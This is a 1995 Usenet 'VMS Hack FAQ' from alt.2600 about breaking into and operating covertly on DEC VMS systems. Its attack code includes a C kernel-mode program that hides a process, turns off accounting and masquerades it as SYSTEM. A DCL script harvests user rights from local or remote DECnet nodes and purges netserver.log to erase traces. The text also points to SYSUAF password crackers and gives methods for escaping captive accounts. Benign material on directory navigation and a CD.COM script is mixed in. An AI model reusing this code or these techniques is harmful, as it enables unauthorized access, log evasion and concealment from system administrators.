Subject: VMS Hack FAQ (part 1)
Date: 18 Aug 1995 06:45:14 +0200

..- VMS HACK FAQ (Frequently Ask Questions) -

...  - Beta 0.02 Release -

... originally by The Beaver
...    updated by Tsywt  

Introduction:

.This article contain the answers to some frequently asked question
.(Hence,  the name FAQ) about hacking the VMS operating system. 

."Why a VMS Hacking FAQ?"

.Several reasons.    Once and a while,   A escape from Unix is
.very,  very nice.   Another reason is that is art of 
.VMS hacking has since vanished,  and its replacement are
.statements like,  "Hacking VMS is impossible", "VMS is
.to cryptic to use",  and as always,  "Man,  VMS sucks". 

.These are generally statements by people who know almost 
.zero about VMS.   I don't want to go into a "which OS is
.better",  because that would defeat the purpose of this 
.file,  but in my personal opinion,   both OS's have 
.there advantages/disadvantages. 

.I have,  however,  written this FAQ with a Unix overtone
.to it,  to help the reader understand what is trying to
.be accomplished in some examples. 
.
.The article may be freely redistributed in its entirety provide
.that credits are not altered or removed.   It may not be 
.sold for profit or incorporated in commercial documents without
.the written permission of the author(s). 

.This is the beta release of this article,   which means,  
.the article is still in the working,  and is not complete. 
.
.Submissions,  corrections,  comments,  input,  complaints, 
.bomb threats,   cash,  etc.,  should be directed toward
.the alt.2600 newsgroup. 


Index ---:

More Common Newbie Questions:

1.  VMS Basic information ("What does VMS run on?")
2.  Password storage information (SYSUAF.DAT) ("Where the hell is the 
    /etc/passwd file??!?!?!")
3.  User storage information (RIGHTSLIST.DAT)
4.  Cracking the SYSUAF.DAT ("Is there a version of 'Crack' for VMS
    machines?")
5.  Becoming invisible in VMS ("Is there a 'Cloak' routine in VMS?")
6.  SET DEFAULT command ("How the do I change damn directory's?")
7.  The infamous "CD" .COM file ("I hate this SET DEFAULT crap") 
8.  LOGIN.COM ("Okay,  where's my .profile???").
9.  Captive Accounts ("I can't get to DCL"). 
10. Terminal Spoofing ("How can I passively gather passwords at a terminal?")
11. User Impersonation ("Can I masquerade as another user?")
12. Accounting/Auditing ("Who's watching me?")

VMS Mail Hack Routines:

1.  Fake Mail ("How do I send fake mail to VMS machines?")
2.  Unix/VMS Sendmail holes ("Will my sendmail holes work on VMS?")
3.  Mail Bomb ("I need to mailbomb a user from my VMS account,  how?)

VMS Phone Hack Routines:

1.  Anonymous Phone Messages("How do I become a VAXPhone phreaker?")
2.  Phone Directories("How can I do a 'sh users' using the phone protocol?")

User/Image Privilege Information:

1.  Systems Privileges, Listing and explanation ("How are Priv's setup?")
2.  Creating privileged images ("Can I create a SUID Shell on a VMS box?")

DECNetwork Information.

1.  Brief Description of a DECNet ("What's a DECNet?")
2.  What it means to you ("What can it do for me?")
3.  Obtaining files/system info/etc ("How do I get information for the remote?")
4.  Using remote nodes ("How do I connect interactively?")
5.  Getting node lists ("How do I find connectable nodes?")
6.  Proxy Logins ("Can't DECNet nodes be protected?")
7.  Proxy Logs ("Are Proxy logins logged? Can I use it to break into nodes?") 
8.  Sneak Routing ("Can I get to a machine I normally couldn't through another
    machine?")

TCP/IP Connected VMS Machines. 

1.  Obtaining remote usernames without "FINGER" ("How do I get usernames
    if FINGER is disabled")
2.  Changing the image running in FINGER ("How do I link a command name to
    another so it appears I am running a different image?")
3.  The TCPDUMP sniffer


..-      More Common Newbie Questions      -


1.      "What does VMS run on?"

.VMS (Virtual Memory System) runs on Digital Equipment Corp. 
.(DEC - pronounced,  "DECK") VAX (Virtual Address eXtension)
.and the newer Alpha's.   The user uses DCL (DEC Command
.Language) to interact with the computer.  These commands
.and there syntax are completely different then those of
.Unix and Unix-like operating systems,  thus a completely
.different mindset is often required (this is the authors
.opinion). 

2.      "Where in the hell is the passwd file???!?!?!"

.There is no /etc/passwd file.  All user information is kept in
.a file called SYSUAF.DAT,  which is stored in the directory
.(or actual the logical) SYS$SYSTEM.   This file is usually
.not readable by "normal" users.
.VMS standard accounts (SYSTEM, FIELD, etc) no longer have default
.passwords. 

3.      One file that is available to "normal" users is
.SYS$SYSTEM:RIGHTSLIST.DAT. This file has a list of users and
.their respective rights identifiers. Since the file isn't very
.readable, an extraction program is a nice tool to have. The
.following DCL procedure is just an example of such a program and
.probably shouldn't be used, especially on a large system, because
.of its inefficiency. It should lead you in the right direction
.though.

$! Program: Extract_Rights.Com
$! Author: Tsywt
$!
$ On Error Then $Goto Exit
$!
$ If F$mode() .Nes. "INTERACTIVE" then goto BATCH_END
$
$ Inquire system "Please enter system"
$ If system .eqs. ""
$  Then
$   Open/share in sys$system:rightslist.dat
$ Else
$   Open/share in 'system'::sys$system:rightslist.dat
$ Endif
$ Open/write out users.dat
$ Read/nolock in record
$Read_Loop1:
$ Read/nolock in record /end=Done_Users
$! If not at start of environmental identifiers
$ If f$extract(16,6,record) .nes. "BATCH "
$  Then
$   Write out f$extract(0,4,record) + " " + f$extract(16,32,record)
$ Else
$   Goto Done_Users
$ Endif
$ Goto Read_Loop1
$Done_Users:
$ Close out
$ Open/write out rights.dat
$ Write out f$extract(0,4,record) + " " + f$extract(16,32,record)
$Read_Loop7:
$ Read/nolock in record /end=Done_Rights
$! holder is null
$ If f$extract(8,1,record) .eqs. ""
$  Then
$   Write out f$extract(0,4,record) + " " + f$extract(16,32,record)
$ Endif
$ Goto Read_Loop7
$Done_Rights:
$ Close out
$!
$ Open/write out users_ids.dat
$ Open in2 users.dat
$Read_Loop2:
$ position = 0
$ Read/nolock in2 record1 /end=Done_Program
$Read_Loop3:
$! Go to first record in file because can't do key search on id
$ Open/share in3 rights.dat
$! Search holders for user id
$ Read/nolock/error=Done_No_Id in -
   record2/index=1/key="''f$extract(0,4,record1)'"/end=Done_No_Id
$Read_Loop4:
$! Kluge because nulls cause problems on key search
$ If f$extract(8,4,record2) .nes. f$extract(0,4,record1)
$  Then
$   Read/nolock in record2/end=Done_No_Id
$   Goto Read_Loop4
$ Endif
$! Move to next holder match
$ temp_pos = position
$Read_Loop5:
$ If temp_pos .gt. 0
$  Then
$   Read/nolock in record2/end=Read_Loop2
$   If f$extract(8,4,record2) .nes. f$extract(0,4,record1)
$    Then
$     Goto Read_Loop2
$   Endif
$   temp_pos = temp_pos - 1
$   Goto Read_Loop5
$ Endif
$Read_Loop6:
$! Look for identifier id
$ Read/nolock in3 record3/end=Done_No_Id
$ If f$extract(0,4,record3) .eqs. f$extract(0,4,record2)
$  Then
$   Write out f$extract(5,32,record1) + " " + f$extract(5,32,record3)
$   position = position + 1
$   Close in3
$   Goto Read_Loop3
$ Endif
$ Goto Read_Loop6
$Done_No_Id:
$ Write out f$extract(5,32,record1)
$ Close in3
$ Goto Read_Loop2
$Done_Program:
$Exit:
$ Close/error=Close_In2 in
$Close_In2:
$ Close/error=Close_Out in2
$Close_Out:
$ Close out
$ Delete users.dat.
$ Delete rights.dat.
$ If system .nes. ""
$  Then
$   Submit/after="+:15"/keep/params=('system') extract_rights.com
$ Endif
$ Exit
$Batch_End:
$Clean_Up:
$! Clean up DECnet logging
$ Dir 'p1'::netserver.log
$ Purge 'p1'::netserver.log
$ Exit

4.      "Is there a version of "Crack" that I can run on a VMS machine?"
.
.The Unix program, "Crack" will not work,  but there are password
.guessing routines available.
.
.The best on I have seen is "GUESS_PASSWORD.EXE",  which can be
.obtained from the following sites.

.ftp.wku.edu:/vms/fileserv/uaf.zip
.ftp.spc.edu:/macro32/savesets/uaf.zip

.In order for the routine to work,  you need access to the
.SYSUAF.DAT.  This version works on both OpenVMS VAX and 
.OpenVMS AXP.

.There is also a program available for the PC called VMSCrack 1.0.
.Once again, it requires that you have access to the SYSUAF.DAT
.so that you can copy it to the PC.

5.      "Can I 'Cloak' in routine in VMS?"

.Yes.  Below is the code needed to make your process invisible
.to "FINGER",  "SHOW USERS",  etc...
.Also, check out Bruce Ellis' "Hitchhiker's Guide to VMS"

.First,  create the following file:

Name: BUILD_INVISIBLE.COM
---------------------------------[Cut Here]-----------------------------------
$ save_verify = 'f$verify(0)'
$ system = "vax"        !Set to "alpha" for Alpha
$!
$!  File to build Ehud Gavron's INVISIBLE
$!
$!  Author:     Hunter Goatley
$!
$ say := write sys$output
$ on error then goto common_exit
$ on contrl_y then goto common_exit
$ say "Extracting $JIBDEF and $PCBDEF from LIB.MLB...."
$ library/macro/extr=$JIBDEF/out=jibdef.mar sys$library:lib.mlb
$ library/macro/extr=$PCBDEF/out=pcbdef.mar sys$library:lib.mlb
$ say "Converting $*DEF macros to C .H files...."
$ call convert_to_h jibdef.mar
$ call convert_to_h pcbdef.mar
$ say "Compiling INVISIBLE...."
$ cc invisible
$ say "Linking INVISIBLE...."
$ link/notrace invisible,invisible.opt_'system'/opt
$ say "INVISIBLE build completed"
$ common_exit:
$       exit f$verify(save_verify).or.1
$ convert_to_h: subroutine
$ name = f$parse(p1,"","","NAME")
$ open/read tmp 'p1'
$ create 'name'.H
$ open/append tmph 'name'.H
$ cvt_loop:
$    read/error=cvt_fin tmp line
$    if f$extract(0,4,line).nes."$EQU" then goto cvt_loop
$    write tmph "#define ",f$extract(4,255,line)
$    goto cvt_loop
$ cvt_fin:
$    close tmp
$    close tmph
$ write sys$output "C header file ''name'.H created"
$ exit
$ endsubroutine
-------------------------------[End Of File]-----------------------------------

.Next is the C Code for the "INVISIBLE" routine....


Name:  INVISIBLE.C
---------------------------------[Cut Here]------------------------------------
/*
 * Invisible    - Make a process invisible and visible again.  Originally
 *                written in MACRO32.  Now in C so it runs on Alpha too.
 *
 *
 *      Option file invisible.opt:
 *              ALPHA:  sys$loadable_images:sys$base_image.exe/share
 *
 *              VAX:    sys$system:sys.stb/selective_search
 *
 *
 *      Build:
 *              $ cc invisible
 *              $ link invisible,invisible/opt
 *
 *      Usage:
 *              $ run invisible
 *
 *
 *  Ehud Gavron
 *  ACES Consulting Inc.
 *  Gavron@ACES.COM
 *
 *      14-Oct-1992     Ehud Gavron     Ported to C, Alpha, ANSI, and 
 *                                      everything else.
 *
 */

#define module_name INVISIBLE
#define module_version "V1.0.0"

#ifdef __alpha
#pragma module module_name module_version
#else /* __vax */
#module module_name module_version
#endif /* __alpha */

#ifndef __alpha
#define sys$gl_ijobcnt sys$gw_ijobcnt
#endif

#include <descrip.h>
#include "jibdef.h"     /* Extracted from LIB.MLB and massaged into C form */
#include "pcbdef.h"     /* Extracted from LIB.MLB and massaged into C form */
#include <ssdef.h>
#include <jpidef.h>
#include <psldef.h>
#include <lnmdef.h>
typedef union {
.struct {
..short s_buflen;
..short s_itemcode;
..char *s_bufaddr;
..int *s_retlen;
..} s;
.unsigned long end;
.} ITEMLIST;

#define buflen          s.s_buflen
#define itemcode        s.s_itemcode
#define bufaddr         s.s_bufaddr
#define retlen          s.s_retlen

struct ISB {
.int     l_uic;
.int     l_namelen;
#ifdef __alpha
.int     l_jobtype;
#else
.char    b_jobtype;
#endif
.char    b_terminal;
.char    t_lname[PCB$S_LNAME + 1];
.char    t_username[JIB$S_USERNAME + 1];
.};

struct ISB isb;
static int lnm_retlen;

ITEMLIST lnm_itmlst[2];
ITEMLIST jpi_itmlst[2];
struct dsc$descriptor_s prcnam_desc;
struct dsc$descriptor_s prcnam;
$DESCRIPTOR(lnm_tabnam,"LNM$PROCESS_TABLE");
$DESCRIPTOR(lnm_lognam,"ISB");
$DESCRIPTOR(fao_prcnam,"SYMBIONT_!UL");
int sysuic = 0x00010004;
char sysusername[] = "SYSTEM        ";
char namebuf[PCB$S_LNAME];

#ifdef __alpha
main()
#else
cmain()
#endif
{
.int sys$cmkrnl(),sys$exit(),invisible_k();
.int ss_stat;

.lnm_itmlst[0].buflen = sizeof(isb);
.lnm_itmlst[0].itemcode = LNM$_STRING;
.lnm_itmlst[0].bufaddr = (char *)&isb;
.lnm_itmlst[0].retlen = &lnm_retlen;
.lnm_itmlst[1].end = 0;
.
.jpi_itmlst[0].buflen = PCB$S_LNAME;
.jpi_itmlst[0].itemcode = JPI$_PRCNAM;
.jpi_itmlst[0].bufaddr = (char *)&isb.t_lname;
.jpi_itmlst[0].retlen = (int *)&isb.l_namelen;
.jpi_itmlst[1].end = 0;
.
.prcnam_desc.dsc$a_pointer = (char *)&isb.t_lname;
.prcnam_desc.dsc$w_length = PCB$S_LNAME;
.prcnam_desc.dsc$b_dtype = DSC$K_DTYPE_T;
.prcnam_desc.dsc$b_class = DSC$K_CLASS_S;
.
.prcnam.dsc$a_pointer = (char *)&namebuf;
.prcnam.dsc$w_length = PCB$S_LNAME;
.prcnam.dsc$b_dtype = DSC$K_DTYPE_T;
.prcnam.dsc$b_class = DSC$K_CLASS_S;
.
.ss_stat = sys$cmkrnl(invisible_k,0);
.(void) sys$exit(ss_stat);       
}

int invisible_k()
{
.int sys$getjpiw(),sys$crelnm(),sys$fao(),sys$setprn();
.int strncpy(),sys$exit(),sys$trnlnm(),sys$dellnm();
.int *a_long;
.int acmode = PSL$C_KERNEL;

#pragma nostandard                      /* Oh well */
.globalref ctl$gl_pcb;
.globalref sys$gl_ijobcnt;
#pragma standard

.int ss_stat;
.char *pcb;
.char *jib;
.long *sts;
.long *own;
.char *p;
.long *q;
.int loop = 0;

.pcb = (char *)ctl$gl_pcb;

.if (pcb == 0) {
.   return(0);
.   }
.q = (long *)((char *)pcb + PCB$L_JIB);
.jib =(char *)  *q;

.sts = (long *)((char *)pcb + PCB$L_STS);

.if (*sts & PCB$M_INTER) {       /* Do stealth mode */
.   *sts = *sts^PCB$M_INTER;
.   *sts = *sts|PCB$M_NOACNT;
.   
.   own = (long *)((char *)pcb + PCB$L_OWNER);
.   if (*own == 0) {  /* We are not a subprocess  */
.      sys$gl_ijobcnt--;
.      }

.   p = (char *)pcb + PCB$T_TERMINAL;
.   isb.b_terminal = *p;
.   *p = '\0'; 
.

#ifdef __alpha
.   q = (long *)((char *)jib + JIB$L_JOBTYPE);
.   isb.l_jobtype = *q;
.   *q = 0;
#else
.   p = (char *)jib + JIB$B_JOBTYPE;
.   isb.b_jobtype = *p;
.   *p = '\0';
#endif
.   strncpy((char *)&isb.t_username,
..   (char *)(jib + JIB$T_USERNAME),
..   JIB$S_USERNAME);

.   strncpy((char *)(jib + JIB$T_USERNAME),
..   (char *)&sysusername,
..   JIB$S_USERNAME);

.   q = (long *)((char *)pcb + PCB$L_UIC);
.   isb.l_uic = *q;
.   *q = sysuic;

.   ss_stat = sys$getjpiw(0,0,0,&jpi_itmlst,0,0,0);
.   if (!(ss_stat & 1)) return(ss_stat);
.   ss_stat = sys$crelnm(0,
....&lnm_tabnam,
....&lnm_lognam,
....&acmode,
....&lnm_itmlst);
.   if (!(ss_stat & 1)) return(ss_stat);
.   do {
.      loop++;
.      prcnam.dsc$w_length = PCB$S_LNAME;
.      ss_stat = sys$fao((char *)&fao_prcnam,
....(char *)&prcnam.dsc$w_length,
....(char *)&prcnam,
....loop);
.      if (!(ss_stat &1)) return(ss_stat);
.      ss_stat = sys$setprn((char*)&prcnam);
.      } while (ss_stat == SS$_DUPLNAM);      
.   return(SS$_NORMAL);
.   }
.else {  /* unstealth */
.   ss_stat = sys$trnlnm(0,
....&lnm_tabnam,
....&lnm_lognam,
....&acmode,
....&lnm_itmlst);
.   if (!(ss_stat & 1)) return(ss_stat);
.   
.   ss_stat = sys$dellnm(&lnm_tabnam,
....&lnm_lognam,
....&acmode);
.   if (!(ss_stat & 1)) return(ss_stat);

.   *sts = *sts|PCB$M_INTER;
.   *sts = *sts^PCB$M_NOACNT;

.   own = (long *)((char *)pcb + PCB$L_OWNER);
.   if (*own == 0) {  /* We are not a subprocess  */
.      sys$gl_ijobcnt++;
.      }

.   q = (long *)((char *)pcb + PCB$L_UIC);
.   *q = isb.l_uic;

.   p = (char *)pcb + PCB$T_TERMINAL;
.   *p = isb.b_terminal;
.
#ifdef __alpha
.   q = (long *)((char *)jib + JIB$L_JOBTYPE);
.   *q = isb.l_jobtype;
#else
.   p = (char *)jib + JIB$B_JOBTYPE;
.   *p = isb.b_jobtype;
#endif
.   strncpy((char *)(jib + JIB$T_USERNAME),
..   (char *)&isb.t_username,
..   JIB$S_USERNAME);

.   prcnam_desc.dsc$w_length = (short)isb.l_namelen;
.   ss_stat = sys$setprn(&prcnam_desc);
.   return;
.}
}

#ifndef __alpha
int strncpy(a,b,c)
char *a,*b;
int c;
{
.for (; c > 0; c--) {
.  *a++ = *b++;
.  }
}
#endif
--------------------------------[End Of File]----------------------------------

.After these files are created,   type in the following at your
.DCL prompt:

$ @build_invisible      ! This will build our INVISIBLE.EXE routine.
$ run invisible         ! One the build is complete. 

.You should be completely "cloaked".

.To obtain full source, readme files,  etc,  you can obtain this
.program from:

.ftp.wku.edu:/vms/fileserv/invisible.zip
.ftp.spc.edu:/macro32/savesets/invisible.zip

6.      "How do I change damn directory's?". 

.This is done via the "SET DEFAULT" command.  In the following 
.format:

$ SET DEFAULT device:[directory]


.VMS uses a standard hierarchy system,  in which devices and 
.directory's are separated.  For example,  our home device/directory 
.might be:

.DISK3:[USR.JOEHACKER]

.DISK3:  would represent the device that we are on/using
.while,  [USR.JOEHACKER] would signify the actual directory
.on that device that we are using.  So,  to change directory's, 
.we could type:

$ SET DEFAULT [USR.BOB]

.If [USR.BOB] is a existing directory,  this would now be our
.current path (and we would still be located on the DISK3: 
.device.  If we wanted to simply back out one level (to the 
.[USR]) on that device,  we would issue the following command:

$ SET DEFAULT [-]

.The "[-]" signifies one directory back.  So if our path is,
.[USR.BOB.HACKING.VMS.PROGRAMS],  and we want to get to the 
.[USR.BOB] directory,  instead of typing the entire path 
.again,  we could simply type:

$ SET DEFAULT [---]

."[---]" means,  back out three levels of the hierarchy. 

.There can be several devices on one VMS system (Device names
.can be obtained via a "SHOW DEVICES").  While your 
.home directory might be on DISK3,   another users could
.be on device DISK2.   To switch devices, we can add in
.the device name,  followed by the directory (if needed). 
.So,  if you need to get to a users who stores information
.in the DISK2:[REALLY.SECRET.STUFF] directory,  you could
.type the following DCL command:

$ SET DEFAULT DISK2:[REALLY.SECRET.STUFF]

.Or if we are currently in the "DISK3:[REALLY]" and we want
.to get to the information in the "DISK2:[REALLY]" directory,
.we could simply type 

$ SET DEFAULT DISK2:

.And the rest would be carried over. 

.In the event that you need to get to the top of the hierarchy
.(Unix equivelant:  "cd /"),  SET DEFAULT (to any disk structured
.device) to "[000000]".  For example,  to get to the very
.top of the hierarchy on device DISK2,  you would type. 

$ SET DEFAULT DISK2:[000000]

.VMS will also allow you to SET DEFAULT to a directory that does
.not exist.  When this happens,  the operating system will 
.inform you of this when you try to issue a command that requires
.some sort of file I/O.   If at any point you get completely 
.lost,  you can return to your "home" directory by typing

$ SET DEFAULT SYS$LOGIN:


7.      "I hate this SET DEFAULT crap.  Can I just use 'cd' command like
. I do in Unix?". 

.By default,  no.  There are two things that you can do. 
.One,  add the following line to your "LOGIN.COM" (see
.where my .profile in VMS' for more information)


$ CD :== SET DEFAULT    ! I am hate typing that long "SET DEF" command

.Or you can us the following .COM file,  which will guarantee
.that you eat as many resources as you can......

.      [Taken from Phrack,  Vol. 2.  Issue 19.,  File 2]
...   [ Coded By The Mentor ]
... 
...      Code for CD.COM
...       >>>>>>>>>>>>>>>

$! CD.COM v6.09
$! The Ultimate Change Directory Command.
$!
$  hdir     = f$trnlnm("SYS$LOGIN")                 ! Home Directory
$  ndir     = f$edit(p1,"UPCASE")                   ! New  Directory
$  odir     = f$environment("DEFAULT")              ! Old  Directory
$  prompton = (f$edit(f$trnlnm("SYS$PROMPT"),"UPCASE") .eqs. "ON")
$!
$  if (ndir .eqs. "")           then goto DISPLAY   ! No Dir
$  if (ndir .eqs. "*")          then goto DIRSEARCH ! Search for Dirs
$  if (ndir .eqs. "?")          then goto HELP      ! Instructions
$!
$  PARSE:
$  length   = f$length(ndir)                        ! Fix up ndir
$  if (f$location("@",ndir) .eq. 0) .or. -
      (f$location("$",ndir) .eq. 0) then ndir = f$extract(1, length - 1, ndir)
$  right    = f$location("]",ndir) + 1
$  if (right .gt. length) then right = f$location(">", ndir)
$  if (right .le. length) then ndir  = f$extract(0, right, ndir)
$!
$  if (f$trnlnm(ndir) .eqs. "") then goto CASESYM   ! Not Logical Name
$     ndir   = f$trnlnm(ndir)                       ! Logical Name
$     goto PARSE
$!
$  CASESYM:
$  if ("''&ndir'" .eqs. "")     then goto CASE0     ! Not Symbol
$     ndir = 'ndir'                                 ! Symbol
$     goto PARSE
$!
$  CASE0:
$  len_ndir = f$length(ndir)                        ! Regular Dir
$  if (f$location("[", ndir) .lt. len_ndir) .or. -
      (f$location("<", ndir) .lt. len_ndir) then goto SETDIR
$!
$  CASE1:                                           ! Home Dir
$  if ((ndir .nes. "HOME") .and. (ndir .nes. "\")) then goto CASE2
$     ndir = hdir
$     goto SETDIR
$!
$  CASE2:                                           ! . .. .dir
$  if (f$location(".", ndir) .nes. 0) then goto CASE3
$     if (ndir .eqs. "..") then ndir = "-"
$     if (f$extract(0, 2, ndir) .eqs. "..") -
. then ndir = "-" + f$extract(1, len_ndir - 1, ndir)
$     ndir = "[" + ndir + "]"
$     if (ndir .eqs. "[.]") then ndir = odir
$     goto SETDIR
$!
$  CASE3:                                           ! :
$  if (f$location(":", ndir) .ge. len_ndir) then goto CASE4
$     left    = f$location(":", ndir) + 1
$     symbol  = f$extract(left, 1, ndir)
$     if (symbol .eqs. ":")  then goto CASE3B       ! :: Node
$     if ((symbol .eqs. "[") .or. (symbol .eqs. "<")) then goto SETDIR
$        ndir = f$extract(0, left, ndir) + "[" -
.      + f$extract(left, len_ndir - left+1, ndir) + "]"
$     goto SETDIR
$!
$  CASE3B:                                          ! NODE::nothing
$  if (f$length(ndir)-1 .gt. left) then goto CASE3C
$     ndir = ndir + "[000000]"
$     goto SETDIR
$!
$  CASE3C:                                          ! NODE::directory
$  if ((f$location("[", ndir) - f$location("<", ndir)) .ne. 0) -
      then goto SETDIR
$
$     ndir = f$parse(ndir,,,"NODE") + "[" + f$parse(ndir,,,"NAME") + "]"
$     goto SETDIR
$!
$  CASE4:                                           ! dir
$  ndir = "[" + ndir + "]"
$!
$  SETDIR:
$  set default 'ndir'
$  if (f$parse("") .eqs. "") then goto DIRERROR
$!
$  DISPLAY:
$  if ((ndir .nes. "") .and. prompton) then goto NODISPLAY
$     hnode = f$getsyi("NODENAME")
$     cnode = f$parse(f$trnlnm("SYS$DISK"),,,"NODE") - "::"
$     if (cnode .eqs. "") then cnode = hnode
$     cdir  = f$environment("DEFAULT")
$     write sys$output " "
$     write sys$output "          Home Node: ", hnode
$     write sys$output "     Home Directory: ", hdir
$     if (cdir .eqs. hdir) .and. (cnode .eqs. hnode) then goto DISPSKIP
$     write sys$output "       Current Node: ", cnode
$     write sys$output "  Current Directory: ", cdir
$  DISPSKIP:
$     write sys$output " "
$!
$  NODISPLAY:
$  ndir = f$environment("DEFAULT")
$  if .not. prompton then goto END
$!
$  if (f$length(ndir) .ge. 32) then goto TOOLONG
$!
$  SETPROMPT:
$  set prompt = 'ndir'" "
$!
$  END:
$  exit
$!
$  DIRERROR:
$  write sys$output " "
$  write sys$output "          ", ndir, " Directory does not exist!"
$  write sys$output " "
$  set default 'odir'
$  ndir = odir
$  goto NODISPLAY
$!
$! Prompt Problems------------------------------------------------------------
$!
$  TOOLONG:
$! Prompt is too long. Get rid of everything to the left of [ or <. If that
$! doesn't work, get rid of a subdirectory at a time.  As a last resort,
$! set the prompt back to $.
$!
$  left     = f$location("[", ndir)
$  len_ndir = f$length(ndir)
$  if (left .ge. len_ndir) then left = f$location("<",ndir)
$  if (left .gt. 0) .and. (left .lt. len_ndir) -
      then ndir = f$extract(left, len_ndir - left, ndir)
$!
$  STILLTOOLONG:
$    if (f$length(ndir) .lt. 32) then goto SETPROMPT
$    left     = f$location(".", ndir) + 1
$    len_ndir = f$length(ndir)
$    if left .ge. len_ndir then ndir = "$ "
$    if left .ne. len_ndir -
.then ndir = "[*" + f$extract(left, len_ndir - left, ndir)
$    goto STILLTOOLONG
$!
$! Wildcard Directory---------------------------------------------------------
$!
$  DIRSEARCH:
$  error_message = f$environment("MESSAGE")
$  on control_y then goto DIREND
$  on control_c then goto DIREND
$  set message/nosev/nofac/noid/notext
$  write sys$output " "
$  dispct = 1
$  dirct  = 0
$  pauseflag = 1
$!
$  DIRLOOP:
$    userfile = f$search("*.dir")
$    if (userfile .eqs. "") .and. (dirct .ne. 0) then goto DIRMENU
$    if (userfile .eqs. "") then goto DIRNONE
$    dispct = dispct + 1
$    dirct  = dirct  + 1
$    on severe then $ userprot = "No Priv"
$    userprot = f$file_attributes(userfile,"PRO")
$    if userprot .nes. "No Priv" then userprot = " "
$    userfile'dirct' = "[." + f$parse(userfile,,,"NAME") + "]"
$    userprot'dirct' = userprot
$    lengthflag = (f$length(userfile'dirct') .gt. 18)
$    if lengthflag then write sys$output -
.f$fao("  !3SL   !34AS  ", dirct, userfile'dirct'), userprot'dirct'
$    if (.not. lengthflag) then write sys$output -
.f$fao("  !3SL   !20AS  ", dirct, userfile'dirct'), userprot'dirct'
$    if (dispct .lt. 8) then goto DIRLOOP
$    dirct  = dirct  + 1
$    userfile'dirct' = ""
$    dirct  = dirct  + 1
$    userfile'dirct' = ""
$    if pauseflag then goto DIRMENU
$    dispct = 0
$    goto DIRLOOP
$!
$  DIRMENU:
$  write sys$output " "
$  if (userfile .eqs. "") then goto DIRMENU2
$     write sys$output "    M   More subdirectories"
$  if pauseflag then -
$     write sys$output "    N   More subdirectories/No pause"
$!
$  DIRMENU2:
$     write sys$output "    R   Re-Display subdirectories"
$     write sys$output "    Q   Quit (default)"
$
$  DIRINQUIRE:
$  write sys$output " "
$  inquire dirchoice "  Select One"
$  write sys$output " "
$!
$  if (dirchoice .gt. 0)    .and. -
      (dirchoice .le. dirct) then goto DIRCASEDIGIT
$  dirchoice = f$edit(dirchoice,"UPCASE")
$  if (dirchoice .eqs. "")  .or. -
      (dirchoice .eqs. "Q")  then goto DIRCASEBLANK
$  if (dirchoice .eqs. "M") .or. -
      (dirchoice .eqs. "N")  then goto DIRCASEMORE
$  if (dirchoice .eqs. "R")  then goto DIRCASERED
$!
$  DIRCASERROR:
$  if (dirct .eq. 1)   then write sys$output -
      "  Select 1 to change to the ", userfile1, " subdirectory. "
$  revdirct = dirct
$  if (dispct .eq. 8) then revdirct = revdirct - 2
$  if (dirct .gt. 1)   then write sys$output -
      "  Valid subdirectory selections are 1 through ", revdirct, " (Octal)."
$  goto DIRINQUIRE
$!
$  DIRCASEDIGIT:
$  if (userfile'dirchoice' .eqs. "") then goto DIRCASERROR
$  ndir = userfile'dirchoice'
$  goto DIREND
$!
$  DIRCASEBLANK:
$  write sys$output "  Subdirectory not changed."
$  write sys$output " "
$  goto DIREND
$!
$  DIRCASEMORE:
$  dispct = 0
$  if (dirchoice .eqs. "N") then pauseflag = 0
$  if (userfile .nes. "")   then goto DIRLOOP
$  write sys$output "  No more subdirectories to display."
$  goto DIRINQUIRE
$!
$  DIRCASERED:
$  dispct = 1
$  DISPLOOP:
$     if (userfile'dispct' .eqs "") then goto DISPDONT
$     lengthflag = (f$length(userfile'dispct') .gt. 18)
$     if lengthflag then write sys$output -
. f$fao("  !3SL   !34AS  ", dispct, userfile'dispct'), userprot'dispct'
$     if (.not. lengthflag) then write sys$output -
. f$fao("  !3SL   !20AS  ", dispct, userfile'dispct'), userprot'dispct'
$     DISPDONT:
$     dispct = dispct + 1
$     if (dispct .le. dirct) then goto DISPLOOP
$  goto DIRMENU
$!
$  DIRNONE:
$  write sys$output "No subdirectories to choose, or no directory privileges."
$  write sys$output " "
$  goto DIREND
$!
$  DIREND:
$  set message 'error_message'
$  on control_y then exit
$  on control_c then exit
$  if (ndir .eqs. "*") then goto DISPLAY
$  goto PARSE
$!
$!-Help-----------------------------------------------------------------------
$!
$  HELP:
$  type sys$input

.       CD.COM  Version 6  VMS Change Directory Command

... Usage:  CD command/directory

CD         Display home directory,       CD ..       Change directory to the
.   current directory, node.      CD [-]      dir above current dir.

CD \       Change directory to your      CD ..sub    Change directory to a
CD HOME    SYS$LOGIN directory.          CD [-.sub]  "sideways" subdirectory.

CD dir     Change directory to the       CD *        Display/select the
CD [dir]   [dir] directory.                          available subdirectories.

CD .sub    Change directory to the       CD .        Reset current directory.
CD [.sub]  [.sub] subdirectory.          CD ?        Display CD instructions.

     CD :== @SYS$LOGIN:CD.COM                 DEFINE SYS$PROMPT "ON"
     To make CD available from                To have the VMS $ prompt
     any directory you change to.             display the current directory.

...      By The Mentor
$  goto END


.Once uploaded,  you should add the following line you your
.LOGIN.COM:

$ CD :== @DEVICE:[PATH]CD.COM  ! Replace DEVICE/PATH with user information

8.      "Okay,  where's my .profile"

.Easy.  There is none.  VMS startup routines (for personal accounts)
.can be found in the user's home directory under the name 
."LOGIN.COM". Also check out the system-wide login routine at
.SYS$MANAGER:SYLOGIN.COM.

9.      "I can't seem to get to the DCL prompt"

.It is possible to setup "CAPTIVE" and "RESTRICTED" accounts under
.VMS. When setup correctly,  these can be difficult to break out of,
.however, in alot of cases, a simple control-C while the LOGIN.COM
.is executing.  Another method of keeping the LOGIN.COM 
.(or any commands for that fact) is to login with the 
."/NOCOMMAND" flag.  This flag is placed after your username 
.at the USERNAME prompt,  and will bypass any account startup
.files/commands.    On a correctly setup captive account, 
.this will bomb out.    In the event that this fails,   some
.places slip up by allowing a parent to spawn off other
.processes.  For example,  if the captive account puts you
.into KERMIT, FTP,  or ALL-IN-ONE (Office automation/mail package), 
.it might be able to 'SPAWN' out to DCL or issue DCL commands. This
.can also  be prevented by simply setting up process limitation
.on the account.  

10.     Terminal Spoofing

.There are many DEC VT spoofing programs around to find. One can
.even be found on page 32 in the Winter 94-95 issue of 2600: Hook
.by Mr.Bungle.

11.     User Spoofing

.Programs such as "SETUSER" and "GLOGIN" are in the public domain
.for privileged users to operate as other users. 

12.     Accounting/Auditing Information

.Accounting information is kept in the file SYS$MANAGER:ACCOUNTNG.DAT
